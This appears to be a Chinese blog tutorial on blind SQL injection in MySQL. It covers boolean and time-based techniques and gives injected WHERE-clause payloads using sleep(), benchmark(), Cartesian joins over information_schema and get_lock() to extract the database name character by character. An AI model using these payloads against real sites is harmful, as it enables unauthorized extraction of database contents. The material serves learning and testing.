盲注
盲注分为两类:
1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据. 你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
简书:Hell0_C
时间盲注
逐字注入
select * from table where id = 1 and (if(substr(database(),1,1)=' ', sleep(4), null))
也可以使用ascii码
select * from table where id = 1 and (if(ascii(substr(database(),1,1))=100, sleep(4), null))
判断
-
SLEEP(duration)
暂停duration中的秒数,并返回0.如果暂停被中断则返回1
select * from table where id = 1 and (if(ascii(substr(database(),1,1))=100, sleep(4), null))
- benchmark(count,expr)
count:运行次数 expr:运行的命令
通过多次运行产生延时
select * from table where id = 1 and (if(ascii(substr(database(),1,1))=100, benchmark(1000000000,sha(1)), null))
- 笛卡尔积
select很多有很多数据的表让他们按照笛卡尔积计算
select * from table where id = 1 and (if(substr(database(),1,1)=' ', select count(*) from information_schema.columns A, information_schema.columns B,information_schema.columns C, null))
- get_lock(str,timeout)
对一个字符上锁,在新回话开启后,再次使用这个字符会有延时
方法有很多很多很多很多
-
if条件
IF(expr1, expr2, expr3)类似于python中的三元运算符: expr1为true则返回expr2,反之返回expr3
expr2, expr3需要为字符型或者数字型
-
select case when
类似于其他语法中的if/else语句
select case when username=‘admin’ then ‘admin’ else ‘xxxx’ end from table;
select case when username='admin' then sleep(3) else 'xxxx' end from table;
拆分字符串方法
-
substr(str, pos, len)
str(string)为被截取的字符, pos(position)为开始截取的地方,len(length)为需要截取的长度
-
substring(str, pos,len)
与**substr()**的区别:
- 可以去掉len来直接查询到尾部
- 可以使用**substring(string from pos for len)**来查询到尾部
-
substring_index(str,dlim,count)
返回第count次dlim出现在str之前的部分select substring_index('aaabbbccc', 'b', -2); +--------------------------------------+ | substring_index('aaabbbccc', 'b', -2)| +--------------------------------------+ |bccc | +--------------------------------------+ -
正则表达式
通过使用正则表达式来达到函数的单字符查询作用,具体用法还不会…
select * from user where passsword rlike '^13';
其他要用的函数
- ascii(str)
将字符转换成ascii码
1万+

被折叠的 条评论
为什么被折叠?



